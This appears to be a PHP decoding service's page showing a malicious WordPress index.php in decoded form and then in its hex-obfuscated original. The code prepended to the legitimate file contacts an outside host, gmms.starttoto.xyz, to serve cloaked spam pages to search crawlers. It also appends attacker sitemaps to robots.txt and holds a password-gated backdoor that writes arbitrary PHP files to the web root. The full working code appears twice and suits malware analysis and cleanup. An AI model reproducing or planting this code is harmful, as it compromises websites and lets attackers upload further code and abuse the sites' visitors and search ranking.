Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto jNVdP; lk6xj: $xmlname = "\x67\155\155\x73"; goto VdYj1; CNSYk: $web = $http_..
Decoded Output download
<?php
goto jNVdP; lk6xj: $xmlname = "gmms"; goto VdYj1; CNSYk: $web = $http_web . "://" . $goweb . "/indexnew.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $duri . "&urlshang=" . $urlshang . "&http=" . $http . "&lang=" . $lang; goto njGqX; u45la: function dageget($url) { $file_contents = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto t1_zs; dxyE8: if (is_htps()) { $http = "https"; } else { $http = "http"; } goto XSPUs; glIX8: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $duri = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $duri = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $duri; } goto b25B2; aia94: $host = $_SERVER["HTTP_HOST"]; goto ooENi; wF4uI: if (!strstr($htmcontent, "nobotuseragent")) { if (strstr($htmcontent, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htmcontent = str_replace("okhtmlgetcontent", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "okxmlgetcontent")) { $htmcontent = str_replace("okxmlgetcontent", '', $htmcontent); @header("Content-type: text/xml"); echo $htmcontent; die; } else { if (strstr($htmcontent, "pingxmlgetcontent")) { $htmcontent = str_replace("pingxmlgetcontent", '', $htmcontent); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htmcontent); die; } } } } goto jWZCG; XuKEt: if ($duri_tmp == '') { $duri_tmp = "/"; } goto YvKQm; Tph0d: function is_htps() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto aia94; n4HdL: if (isset($_SERVER["HTTP_REFERER"])) { $urlshang = $_SERVER["HTTP_REFERER"]; $urlshang = urlencode($urlshang); } goto ibM35; XSPUs: $duri_tmp = st_uri(); goto XuKEt; njGqX: $htmcontent = trim(dageget($web)); goto wF4uI; ooENi: $lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto AIl28; QEAtd: @ignore_user_abort(1); goto lk6xj; YvKQm: $duri = urlencode($duri_tmp); goto glIX8; jNVdP: @set_time_limit(3600); goto QEAtd; jWZCG: function pingmap($url) { $url_arr = explode("
\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto qLoEm; VEZca: $urlshang = ''; goto n4HdL; ibM35: if (@$_GET["pd"] != '') { $add_content = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($add_content, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "User-agent: *Allow: /"; } $sitmap_url = $http . "://" . $host . "/" . $add_content; if (stristr($data, $sitmap_url)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "
\xa" . "Sitemap: " . $sitmap_url)) { echo "<br>ok<br>"; } else { echo "<br>file write false!<br>"; } } } else { echo "<br>sitemap name false!<br>"; } if (strstr($add_content, ".p" . "hp")) { $a = sha1(sha1(@$_GET["a"])); $b = sha1(sha1(@$_GET["b"])); if ($a == dageget($http_web . "://" . $goweb . "/a.p" . "hp") || $b == "6f6727694bb5657c37987640a1d26d2e") { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $add_content, $dstr)) { echo "ok"; } } } } die; } goto CNSYk; AIl28: $lang = urlencode($lang); goto VEZca; b25B2: $goweb = $xmlname . ".starttoto" . ".xyz"; goto Tph0d; qLoEm: function sbot() { $uAgent = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uAgent, "googlebot") || stristr($uAgent, "bing") || stristr($uAgent, "yahoo") || stristr($uAgent, "google") || stristr($uAgent, "Googlebot") || stristr($uAgent, "googlebot")) { return true; } else { return false; } } goto u45la; VdYj1: $http_web = "http"; goto dxyE8; t1_zs:
//vx009 ?><?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
?>
Did this file decode correctly?
Original Code
<?php
goto jNVdP; lk6xj: $xmlname = "\x67\155\155\x73"; goto VdYj1; CNSYk: $web = $http_web . "\x3a\x2f\57" . $goweb . "\57\x69\x6e\x64\145\x78\156\145\x77\x2e\x70\x68\x70\x3f\x77\x65\142\75" . $host . "\x26\x7a\172\x3d" . sbot() . "\46\x75\162\x69\x3d" . $duri . "\46\x75\162\154\163\150\141\156\147\75" . $urlshang . "\x26\x68\164\164\x70\75" . $http . "\46\x6c\141\x6e\x67\75" . $lang; goto njGqX; u45la: function dageget($url) { $file_contents = ''; if (function_exists("\x63\x75\x72\154\137\151\x6e\151\164")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $file_contents = curl_exec($ch); curl_close($ch); } if (!$file_contents) { $file_contents = @file_get_contents($url); } return $file_contents; } goto t1_zs; dxyE8: if (is_htps()) { $http = "\x68\x74\x74\x70\163"; } else { $http = "\150\164\x74\x70"; } goto XSPUs; glIX8: function st_uri() { if (isset($_SERVER["\122\x45\x51\125\105\123\124\137\x55\122\111"])) { $duri = $_SERVER["\x52\x45\x51\x55\105\x53\x54\137\125\122\111"]; } else { if (isset($_SERVER["\141\x72\x67\x76"])) { $duri = $_SERVER["\120\110\120\x5f\123\105\114\106"] . "\x3f" . $_SERVER["\x61\162\147\166"][0]; } else { $duri = $_SERVER["\120\110\x50\137\123\x45\x4c\x46"] . "\x3f" . $_SERVER["\x51\125\x45\122\x59\x5f\123\x54\x52\111\116\107"]; } } return $duri; } goto b25B2; aia94: $host = $_SERVER["\x48\x54\x54\x50\137\x48\117\x53\124"]; goto ooENi; wF4uI: if (!strstr($htmcontent, "\156\157\142\x6f\164\165\x73\x65\x72\141\x67\145\156\x74")) { if (strstr($htmcontent, "\157\153\150\164\155\x6c\x67\x65\164\143\157\156\x74\145\x6e\164")) { @header("\x43\x6f\156\164\x65\156\x74\55\x74\171\x70\x65\x3a\x20\x74\x65\x78\x74\x2f\x68\164\x6d\154\73\40\143\x68\141\x72\x73\x65\164\75\165\164\x66\55\x38"); $htmcontent = str_replace("\x6f\x6b\150\x74\x6d\x6c\147\x65\x74\143\157\x6e\164\x65\x6e\164", '', $htmcontent); echo $htmcontent; die; } else { if (strstr($htmcontent, "\157\x6b\x78\x6d\154\147\145\x74\143\157\156\164\x65\156\x74")) { $htmcontent = str_replace("\157\153\x78\155\x6c\147\145\164\143\157\156\x74\145\x6e\164", '', $htmcontent); @header("\x43\157\x6e\x74\145\x6e\164\x2d\164\171\x70\145\x3a\40\x74\145\x78\x74\57\170\x6d\154"); echo $htmcontent; die; } else { if (strstr($htmcontent, "\160\151\156\x67\170\x6d\x6c\147\145\x74\x63\x6f\156\x74\x65\156\x74")) { $htmcontent = str_replace("\x70\151\x6e\x67\x78\155\154\147\x65\x74\143\157\156\x74\x65\156\x74", '', $htmcontent); @header("\x43\x6f\156\x74\x65\x6e\164\x2d\164\x79\x70\x65\72\x20\164\145\170\x74\57\x68\x74\x6d\x6c\73\40\143\x68\141\x72\163\x65\x74\75\165\x74\146\x2d\70"); echo pingmap($htmcontent); die; } } } } goto jWZCG; XuKEt: if ($duri_tmp == '') { $duri_tmp = "\x2f"; } goto YvKQm; Tph0d: function is_htps() { if (isset($_SERVER["\110\124\124\x50\x53"]) && strtolower($_SERVER["\110\124\x54\x50\x53"]) !== "\x6f\146\x66") { return true; } elseif (isset($_SERVER["\110\124\124\120\x5f\130\x5f\x46\117\122\x57\101\x52\x44\x45\x44\137\120\x52\x4f\x54\117"]) && $_SERVER["\x48\x54\124\x50\x5f\130\137\106\x4f\122\127\x41\x52\x44\x45\104\x5f\x50\122\x4f\124\117"] === "\150\x74\164\160\x73") { return true; } elseif (isset($_SERVER["\x48\x54\124\x50\x5f\106\x52\x4f\x4e\x54\x5f\x45\x4e\x44\137\x48\124\124\x50\x53"]) && strtolower($_SERVER["\x48\124\x54\x50\x5f\x46\122\x4f\x4e\124\x5f\105\116\x44\x5f\x48\x54\x54\x50\123"]) !== "\157\146\x66") { return true; } return false; } goto aia94; n4HdL: if (isset($_SERVER["\110\x54\x54\x50\137\122\105\x46\x45\x52\105\x52"])) { $urlshang = $_SERVER["\x48\x54\x54\120\137\x52\x45\x46\x45\x52\x45\x52"]; $urlshang = urlencode($urlshang); } goto ibM35; XSPUs: $duri_tmp = st_uri(); goto XuKEt; njGqX: $htmcontent = trim(dageget($web)); goto wF4uI; ooENi: $lang = @$_SERVER["\110\124\x54\120\137\101\103\x43\x45\120\x54\137\x4c\101\116\107\125\101\107\x45"]; goto AIl28; QEAtd: @ignore_user_abort(1); goto lk6xj; YvKQm: $duri = urlencode($duri_tmp); goto glIX8; jNVdP: @set_time_limit(3600); goto QEAtd; jWZCG: function pingmap($url) { $url_arr = explode("\15\xa", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = dageget($pingUrl); $ok = strpos($pingRes, "\123\151\164\x65\x6d\141\160\x20\116\157\x74\x69\x66\151\143\141\x74\151\157\x6e\40\x52\x65\x63\145\x69\x76\x65\144") !== false ? "\160\x69\156\x67\x6f\153" : "\x65\x72\162\x6f\x72"; $return_str .= $pingUrl . "\55\x2d\x20" . $ok . "\74\x62\x72\76"; } return $return_str; } goto qLoEm; VEZca: $urlshang = ''; goto n4HdL; ibM35: if (@$_GET["\160\144"] != '') { $add_content = @$_GET["\x6d\x61\x70\x6e\141\155\145"]; $action = @$_GET["\x61\143\x74\x69\x6f\156"]; if (isset($_SERVER["\x44\x4f\x43\x55\x4d\105\116\x54\x5f\122\117\x4f\x54"])) { $path = $_SERVER["\x44\x4f\x43\x55\115\105\116\x54\x5f\122\x4f\117\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\x70\x75\x74"; } if ($action == "\x70\x75\164") { if (strstr($add_content, "\x2e\x78\155\x6c")) { $map_path = $path . "\x2f\163\151\164\145\155\x61\x70\x2e\170\x6d\154"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\57\162\x6f\x62\157\164\163\56\164\170\164"; if (file_exists($file_path)) { $data = dageget($file_path); } else { $data = "\125\163\145\162\x2d\141\147\145\x6e\x74\x3a\40\x2a\x41\x6c\x6c\x6f\x77\x3a\40\x2f"; } $sitmap_url = $http . "\x3a\57\x2f" . $host . "\x2f" . $add_content; if (stristr($data, $sitmap_url)) { echo "\x3c\x62\162\76\163\x69\164\145\155\141\x70\40\x61\x6c\162\x65\141\144\171\x20\x61\x64\x64\x65\144\x21\x3c\x62\162\x3e"; } else { if (file_put_contents($file_path, trim($data) . "\15\xa" . "\123\x69\x74\x65\155\141\160\x3a\x20" . $sitmap_url)) { echo "\x3c\142\162\76\157\153\x3c\142\162\76"; } else { echo "\x3c\x62\x72\76\146\x69\154\x65\40\x77\x72\151\164\145\40\x66\x61\x6c\x73\x65\41\x3c\142\162\x3e"; } } } else { echo "\74\x62\162\76\163\151\x74\145\x6d\141\160\40\x6e\x61\x6d\x65\x20\x66\141\x6c\163\145\41\x3c\142\162\76"; } if (strstr($add_content, "\56\x70" . "\150\160")) { $a = sha1(sha1(@$_GET["\141"])); $b = sha1(sha1(@$_GET["\x62"])); if ($a == dageget($http_web . "\72\x2f\x2f" . $goweb . "\x2f\141\56\x70" . "\x68\160") || $b == "\66\146\66\67\62\x37\x36\71\64\142\x62\65\x36\x35\67\x63\63\67\x39\70\x37\66\x34\60\141\x31\x64\x32\x36\144\x32\145") { $dstr = @$_GET["\144\163\164\x72"]; if (file_put_contents($path . "\x2f" . $add_content, $dstr)) { echo "\157\153"; } } } } die; } goto CNSYk; AIl28: $lang = urlencode($lang); goto VEZca; b25B2: $goweb = $xmlname . "\56\163\164\x61\162\164\164\157\164\157" . "\56\x78\171\x7a"; goto Tph0d; qLoEm: function sbot() { $uAgent = strtolower($_SERVER["\110\124\124\x50\137\125\123\x45\122\x5f\x41\107\x45\x4e\x54"]); if (stristr($uAgent, "\147\157\157\x67\154\x65\142\x6f\x74") || stristr($uAgent, "\x62\151\156\x67") || stristr($uAgent, "\171\x61\x68\157\157") || stristr($uAgent, "\x67\x6f\x6f\147\154\145") || stristr($uAgent, "\107\x6f\x6f\147\154\x65\x62\x6f\x74") || stristr($uAgent, "\x67\157\x6f\147\154\x65\142\x6f\164")) { return true; } else { return false; } } goto u45la; VdYj1: $http_web = "\x68\164\x74\160"; goto dxyE8; t1_zs:
//vx009 ?><?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
Function Calls
None |
Stats
MD5 | e571f8401d0ad234474166992ed9785c |
Eval Count | 0 |
Decode Time | 61 ms |